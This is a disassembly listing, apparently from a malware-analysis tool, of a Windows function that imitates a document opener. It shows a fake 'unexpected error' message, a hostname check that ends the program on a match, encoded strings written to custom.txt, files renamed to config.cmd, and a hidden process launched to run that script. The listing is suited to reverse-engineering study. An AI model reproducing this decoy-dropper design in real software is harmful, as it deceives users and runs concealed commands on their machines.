Function at 0x1400020d0
Capabilities:
Create process on windows
Get hostname

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x350]
sub rsp, 0x450
mov rax, qword [0x140037080]
xor rax, rsp
mov qword [rbp + 0x340], rax
xor r15d, r15d
mov dword [rbp + 0x10], r15d
lea rdx, str.Opening_the_document
lea rcx, [0x140038430]
call fcn.1400053b0
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140005220
movzx edx, al
mov rcx, rbx
call fcn.140005f60
mov rcx, rbx
call fcn.140005e00
lea rdx, str.Error:_Cant_open_the_document_due_to_unexpected_error
mov rcx, rbx
call fcn.1400053b0
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140005220
movzx edx, al
mov rcx, rbx
call fcn.140005f60
mov rcx, rbx
call fcn.140005e00
xorps xmm0, xmm0
movups xmmword [rbp + 0x250], xmm0
mov qword [rbp + 0x260], r15
mov qword [rbp + 0x268], r15
mov r14d, 6
mov r8d, r14d
lea rdx, str.R_3d5R
lea rcx, [rbp + 0x250]
call fcn.1400057a0
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x298]
call fcn.140001ec0
nop
lea rbx, [rbp + 0x298]
cmp qword [rbp + 0x2b0], 0xf
cmova rbx, qword [rbp + 0x298]
mov dword [rbp + 0x270], 0x10
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x330]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
jne 0x140002219
lea rdx, str.Error_getting_name.
lea rcx, [0x1400385b0]
call fcn.1400053b0
lea edi, [r15 + 1]
jmp 0x140002252
lea rax, [rbp + 0x330]
sub rbx, rax
movzx r8d, byte [rax]
movzx edx, byte [rax + rbx]
sub r8d, edx
jne 0x140002237
inc rax
test edx, edx
jne 0x140002223
lea rcx, [0x140038430]
test r8d, r8d
jne 0x14000227e
lea rdx, str._Name_matches._Exiting_program.
call fcn.1400053b0
mov edi, r15d
mov rbx, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rbx
mov dl, 0xa
call fcn.140005220
movzx edx, al
mov rcx, rbx
call fcn.140005f60
mov rcx, rbx
call fcn.140005e00
jmp 0x14000302f
lea rdx, [0x1400309d0]
call fcn.1400053b0
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140005220
movzx edx, al
mov rcx, rbx
call fcn.140005f60
mov rcx, rbx
call fcn.140005e00
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x140]
call fcn.140023eb0
lea rbx, [0x140000000]
lea rax, [rbx + 0x317f8]
mov qword [rbp + 0x140], rax
mov qword [rbp + 0x1f8], r15
mov qword [rbp + 0x200], r15
mov dword [rbp + 0x208], r15d
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x210], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x220], xmm1
movdqa xmmword [rbp + 0x230], xmm0
mov qword [rbp + 0x240], r15
mov byte [rbp + 0x248], 0
mov edi, 1
mov dword [rbp + 0x10], edi
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x1f0], rax
mov dword [rbp + 0x1ec], 0x98
mov qword [rbp + 0x148], r15
xor r8d, r8d
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0x1f0]
call fcn.140004f90
nop
mov rax, qword [rbp + 0x140]
movsxd rcx, dword [rax + 4]
lea rsi, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x140], rsi
mov rax, qword [rbp + 0x140]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x13c], edx
lea rcx, [rbp + 0x150]
call fcn.140004c00
nop
mov r8d, edi
lea rdx, str.Info.txt
lea rcx, [rbp + 0x150]
call fcn.140004aa0
lea r12d, [rdi + 1]
test rax, rax
jne 0x1400023f2
mov rax, qword [rbp + 0x140]
movsxd rcx, dword [rax + 4]
mov eax, r14d
cmp qword [rbp + rcx + 0x188], 0
cmovne eax, r12d
or eax, dword [rbp + rcx + 0x150]
and eax, 0x17
mov dword [rbp + rcx + 0x150], eax
mov edx, dword [rbp + rcx + 0x154]
and edx, eax
jne 0x140003195
mov rax, qword [rbp + 0x140]
movsxd rcx, dword [rax + 4]
lea r13, vtable.std::ios_base.0
test byte [rbp + rcx + 0x150], 6
je 0x140002fb2
xorps xmm0, xmm0
movups xmmword [rbp + 0x250], xmm0
mov qword [rbp + 0x260], r15
mov qword [rbp + 0x268], r15
xor r8d, r8d
lea rdx, [0x1400309d0]
lea rcx, [rbp + 0x250]
call fcn.1400057a0
nop
mov r8d, 0x764
lea rcx, [rbp + 0x250]
call fcn.1400050b0
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0x30]
call fcn.140023eb0
lea rax, [rbx + 0x317f0]
mov qword [rbp + 0x30], rax
mov qword [rbp + 0xe0], r15
mov qword [rbp + 0xe8], r15
mov dword [rbp + 0xf0], r15d
mov qword [rbp + 0xf8], r15
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x100], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x110], xmm1
movdqa xmmword [rbp + 0x120], xmm0
mov byte [rbp + 0x130], 0
mov dword [rbp + 0x10], 5
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + 0xd8], rax
mov dword [rbp + 0xd4], 0x98
xor r8d, r8d
lea rdx, [rbp + 0x38]
lea rcx, [rbp + 0xd8]
call fcn.140004f90
nop
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x30], rax
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x2c], edx
lea rcx, [rbp + 0x38]
call fcn.140004c00
nop
mov r8d, r12d
lea rdx, str.custom.txt
lea rcx, [rbp + 0x38]
call fcn.140004aa0
test rax, rax
jne 0x140002557
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
mov eax, r14d
cmp qword [rbp + rcx + 0x78], 0
cmovne eax, r12d
or eax, dword [rbp + rcx + 0x40]
and eax, 0x17
mov dword [rbp + rcx + 0x40], eax
mov edx, dword [rbp + rcx + 0x44]
and edx, eax
jne 0x1400031e5
cmp qword [rbp + 0xb8], 0
jne 0x1400025a0
lea rdx, str.Error_opening_file_for_writing.
lea rcx, [0x1400385b0]
call fcn.1400053b0
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140005220
movzx edx, al
mov rcx, rbx
call fcn.140005f60
mov rcx, rbx
call fcn.140005e00
jmp 0x1400030e3
lea rdx, [rbp + 0x250]
cmp qword [rbp + 0x268], 0xf
cmova rdx, qword [rbp + 0x250]
mov r8, qword [rbp + 0x260]
lea rcx, [rbp + 0x30]
call fcn.1400061f0
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140005220
movzx edx, al
mov rcx, rbx
call fcn.140005f60
mov rcx, rbx
call fcn.140005e00
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], r15
mov qword [rbp + 0x28], r15
mov r8d, 0x92
lea rdx, str.bm4MmOEMfhOWEmmVbIIhmhMC4KK__fMhSYfMIBbI_hmILYLdY0I_I_hmYhXhWO__Obm4MmOBhXVKfMhOWEmmVbIIhmhMC4KK__fMhSYfMIBbI_hmILYLdY0I_I_hmYhXhW
lea rcx, [rbp + 0x10]
call fcn.1400057a0
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x278]
call fcn.140001ec0
nop
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140002631
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x30]
call fcn.1400061f0
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140005220
movzx edx, al
mov rcx, rbx
call fcn.140005f60
mov rcx, rbx
call fcn.140005e00
nop
mov rdx, qword [rbp + 0x290]
cmp rdx, 0xf
jbe 0x1400026a7
inc rdx
mov rcx, qword [rbp + 0x278]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400026a2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003233
call fcn.1400074c0
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], r15
mov qword [rbp + 0x28], r15
mov r8d, 0xb
lea rdx, str.mMB_O_EODS
lea rcx, [rbp + 0x10]
call fcn.1400057a0
lea rdx, [rbp + 0x10]
lea rcx, [rsp + 0x70]
call fcn.140001ec0
mov rsi, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x50], r15
mov r8d, 0x10
lea rdx, str.MB_O_EODXmOO4m
lea rcx, [rbp - 0x68]
call fcn.1400057a0
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0x278]
call fcn.140001ec0
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], r15
mov r8d, 3
lea rdx, [0x14003131c]
lea rcx, [rsp + 0x50]
call fcn.1400057a0
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x48]
call fcn.140001ec0
nop
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14000275a
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x30]
call fcn.1400061f0
lea rdx, [0x140031304]
mov rcx, rax
call fcn.1400053b0
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x140002783
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rax
call fcn.1400061f0
lea rdx, [0x140031304]
mov rcx, rax
call fcn.1400053b0
mov rdx, rsi
cmp qword [rsi + 0x18], 0xf
jbe 0x1400027ab
mov rdx, qword [rsi]
mov r8, qword [rsi + 0x10]
mov rcx, rax
call fcn.1400061f0
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140005220
movzx edx, al
mov rcx, rbx
call fcn.140005f60
mov rcx, rbx
call fcn.140005e00
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x14000281a
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002815
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003239
call fcn.1400074c0
movdqa xmm0, xmmword [0x140031840]
movdqu xmmword [rbp - 0x38], xmm0
mov byte [rbp - 0x48], 0
mov rdx, qword [rbp + 0x290]
cmp rdx, 0xf
jbe 0x14000286c
inc rdx
mov rcx, qword [rbp + 0x278]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002867
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000323f
call fcn.1400074c0
movdqa xmm0, xmmword [0x140031840]
movdqu xmmword [rbp + 0x288], xmm0
mov byte [rbp + 0x278], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x1400028bf
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400028ba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003245
call fcn.1400074c0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], r15
mov r8d, 0x4b
lea rdx, str.BpOCfmOhXBbmOWgg_bhMbggHtbhMC4hHgg_VVP4m4gg9f4BCggKfLbmKf4ShMYmXmWO_
lea rcx, [rsp + 0x50]
call fcn.1400057a0
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.140001ec0
nop
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140002905
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x30]
call fcn.1400061f0
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140005220
movzx edx, al
mov rcx, rbx
call fcn.140005f60
mov rcx, rbx
call fcn.140005e00
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140002976
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002971
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000324b
call fcn.1400074c0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], r15
mov r8d, 0x42
lea rdx, str.hEfYqWgg_bhMbggHtbhMC4hHgg_VVP4m4gg9f4BCggKfLbmKf4ShMYmXmW
lea rcx, [rsp + 0x50]
call fcn.1400057a0
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.140001ec0
nop
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x1400029bc
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x30]
call fcn.1400061f0
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140005220
movzx edx, al
mov rcx, rbx
call fcn.140005f60
mov rcx, rbx
call fcn.140005e00
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140002a2d
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002a28
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003251
call fcn.1400074c0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], r15
mov r8d, 0x160
lea rdx, str.mBhftmOImOdOOWg_bhMbgHtbhMC4hHgPf_CKf4Sbg_hmWOWEmmVbIIb_C4VbhYbm4pp_Y4lIa4mMBXIhSB4IMAISf_CKf4SI4mMBXYbm4pp_Y4lI57XV1__h_n_PCm_5EenSWOjZOWg_bhMbgHtbhMC4hHg_VVP4m4g9f4BCg4BCY4_WOjjtbhMj4hCm_WwflBKK4IuYAO_BCSf_bO_5OLAYAOBC_OX_8O_VVKhh__BmIu0GY0O__R5w3_OKBhOJhf8OEMfhIuiYAY0AUdYLLAO_4p4MBIu0GY0WOjjCfjEhjhMmBpB4mh
lea rcx, [rsp + 0x50]
call fcn.1400057a0
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.140001ec0
nop
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140002a73
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x30]
call fcn.1400061f0
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140005220
movzx edx, al
mov rcx, rbx
call fcn.140005f60
mov rcx, rbx
call fcn.140005e00
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140002ae4
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002adf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003257
call fcn.1400074c0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], r15
mov r8d, 0x69
lea rdx, str.hXV4CSOjnDOWgg_bhMbggHtbhMC4hHgg_VVP4m4gg9f4BCgg4BCY4_WOWgg_bhMbggHtbhMC4hHgg_VVP4m4gg9f4BCW
lea rcx, [rsp + 0x50]
call fcn.1400057a0
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.140001ec0
nop
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140002b2a
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x30]
call fcn.1400061f0
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140005220
movzx edx, al
mov rcx, rbx
call fcn.140005f60
mov rcx, rbx
call fcn.140005e00
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140002b9b
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b96
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000325d
call fcn.1400074c0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], r15
mov r8d, 0x4d
lea rdx, str.bm4MmOI_OSOI_OWgg_bhMbggHtbhMC4hHgg_VVP4m4gg9f4BCgg4BCggbhmtVYSWOO8
lea rcx, [rsp + 0x50]
call fcn.1400057a0
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.140001ec0
nop
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140002be1
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x30]
call fcn.1400061f0
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140005220
movzx edx, al
mov rcx, rbx
call fcn.140005f60
mov rcx, rbx
call fcn.140005e00
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140002c52
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c4d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003263
call fcn.1400074c0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], r15
mov r8d, 0xe0
lea rdx, str.bm4MmOEMfhOWEmmVbIIpBKhKftSjfCKBChYMpYSIBCSBFBSt4Ku_u_u_ULYVEVWO__Obm4MmOBhXVKfMhOWEmmVbIIpBKhKftSjfCKBChYMpYSIBCSBFBSt4Ku_u_u_ULYVEVWO__Obm4MmOflBKK4OWEmmVbIIpBKhKftSjfCKBChYMpYSIBCSBFBSt4Ku_u_u_ULYVEVW
lea rcx, [rsp + 0x50]
call fcn.1400057a0
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.140001ec0
nop
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140002c98
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x30]
call fcn.1400061f0
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140005220
movzx edx, al
mov rcx, rbx
call fcn.140005f60
mov rcx, rbx
call fcn.140005e00
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140002d09
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002d04
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003269
call fcn.1400074c0
lea rcx, [rbp + 0x38]
call fcn.1400049a0
test rax, rax
jne 0x140002d44
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
cmp qword [rbp + rcx + 0x78], 0
cmovne r14d, r12d
or r14d, dword [rbp + rcx + 0x40]
and r14d, 0x17
mov dword [rbp + rcx + 0x40], r14d
mov eax, dword [rbp + rcx + 0x44]
and eax, r14d
jne 0x14000326f
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
cmp dword [rbp + rcx + 0x40], 0
jne 0x1400030a2
lea rdx, str.Text_written_to_file_successfully.
lea rcx, [0x140038430]
call fcn.1400053b0
mov rbx, rax
mov rdx, qword [rax]
movsxd rcx, dword [rdx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140005220
movzx edx, al
mov rcx, rbx
call fcn.140005f60
mov rcx, rbx
call fcn.140005e00
lea rdx, str.custom2.txt
lea rcx, str.custom.txt
call fcn.14000eafc
test eax, eax
je 0x140002db9
lea rcx, str.Error_renaming_file
call fcn.14000e700
jmp 0x1400030dc
lea rdx, [0x140031710]
lea rcx, str.custom2.txt
call fcn.14000eafc
test eax, eax
je 0x140002de1
lea rcx, str.Error_renaming_file
call fcn.14000e700
jmp 0x1400030dc
mov qword [rbp + 0x280], r15
mov ecx, 0x20
call fcn.1400074c8
mov rdx, rax
mov qword [rbp + 0x278], rax
movdqa xmm0, xmmword [0x140031850]
movdqu xmmword [rbp + 0x288], xmm0
movups xmm1, xmmword [str.config.cmd]
movups xmmword [rax], xmm1
mov eax, dword [0x140031748]
mov dword [rdx + 0x10], eax
mov word [rdx + 0x14], r15w
mov dword [rbp + 0x2c0], 0x68
xorps xmm0, xmm0
movups xmmword [rbp + 0x2c8], xmm0
movups xmmword [rbp + 0x2d8], xmm0
movups xmmword [rbp + 0x2e8], xmm0
movups xmmword [rbp + 0x2f8], xmm0
movups xmmword [rbp + 0x308], xmm0
movups xmmword [rbp + 0x318], xmm0
lea rax, [rbp + 0x10]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x2c0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [rbp + 0x10]
test rcx, rcx
je 0x140002ebd
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x18]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp + 0x290]
cmp rdx, 7
jbe 0x140002f04
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x278]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002efe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400032bd
call fcn.1400074c0
nop
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x30], rax
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x2c], edx
lea rcx, [rbp + 0x38]
call fcn.1400040a0
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x30], rax
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x2c], edx
mov qword [rbp + 0xd8], r13
lea rcx, [rbp + 0xd8]
call fcn.140006c14
nop
mov rdx, qword [rbp + 0x268]
cmp rdx, 0xf
jbe 0x140002fab
inc rdx
mov rcx, qword [rbp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002fa6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000318f
call fcn.1400074c0
lea rsi, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov edi, r15d
mov rax, qword [rbp + 0x140]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x140], rsi
mov rax, qword [rbp + 0x140]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x13c], edx
lea rcx, [rbp + 0x150]
call fcn.1400040a0
mov rax, qword [rbp + 0x140]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x140], rax
mov rax, qword [rbp + 0x140]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0x13c], edx
mov qword [rbp + 0x1f0], r13
lea rcx, [rbp + 0x1f0]
call fcn.140006c14
nop
mov rdx, qword [rbp + 0x2b0]
cmp rdx, 0xf
jbe 0x140003070
inc rdx
mov rcx, qword [rbp + 0x298]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000306b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400032c3
call fcn.1400074c0
mov eax, edi
mov rcx, qword [rbp + 0x340]
xor rcx, rsp
call fcn.1400074a0
lea r11, [rsp + 0x450]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rdx, str.Error_writing_to_file.
lea rcx, [0x1400385b0]
call fcn.1400053b0
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140005220
movzx edx, al
mov rcx, rbx
call fcn.140005f60
mov rcx, rbx
call fcn.140005e00
lea rsi, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x30], rax
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x2c], edx
lea rcx, [rbp + 0x38]
call fcn.1400040a0
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x30], rax
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x2c], edx
mov qword [rbp + 0xd8], r13
lea rcx, [rbp + 0xd8]
call fcn.140006c14
nop
mov rdx, qword [rbp + 0x268]
cmp rdx, 0xf
jbe 0x140002fb5
inc rdx
mov rcx, qword [rbp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003185
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000318f
call fcn.1400074c0
jmp 0x140002fb5
call fcn.14001011c
nop
test dl, 4
je 0x1400031a3
lea rbx, str.ios_base::badbit_set
jmp 0x1400031b8
test r12b, dl
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, edi
lea rcx, [rbp - 0x28]
call fcn.1400014a0
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x70]
call fcn.140001d60
lea rdx, [0x140035968]
lea rcx, [rsp + 0x70]
call fcn.14000924c
nop
test dl, 4
je 0x1400031f3
lea rbx, str.ios_base::badbit_set
jmp 0x140003208
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, edi
lea rcx, [rbp - 0x28]
call fcn.1400014a0
mov r8, rax
mov rdx, rbx
lea rcx, [rbp - 0x18]
call fcn.140001d60
lea rdx, [0x140035968]
lea rcx, [rbp - 0x18]
call fcn.14000924c
nop
call fcn.14001011c
nop
call fcn.14001011c
nop
call fcn.14001011c
nop
call fcn.14001011c
int3
call fcn.14001011c
int3
call fcn.14001011c
int3
call fcn.14001011c
int3
call fcn.14001011c
int3
call fcn.14001011c
int3
call fcn.14001011c
int3
test al, 4
je 0x14000327c
lea rbx, str.ios_base::badbit_set
jmp 0x140003290
test al, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, edi
lea rcx, [rbp + 0x10]
call fcn.1400014a0
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x70]
call fcn.140001d60
lea rdx, [0x140035968]
lea rcx, [rsp + 0x70]
call fcn.14000924c
int3
call fcn.14001011c
nop
call fcn.14001011c
int3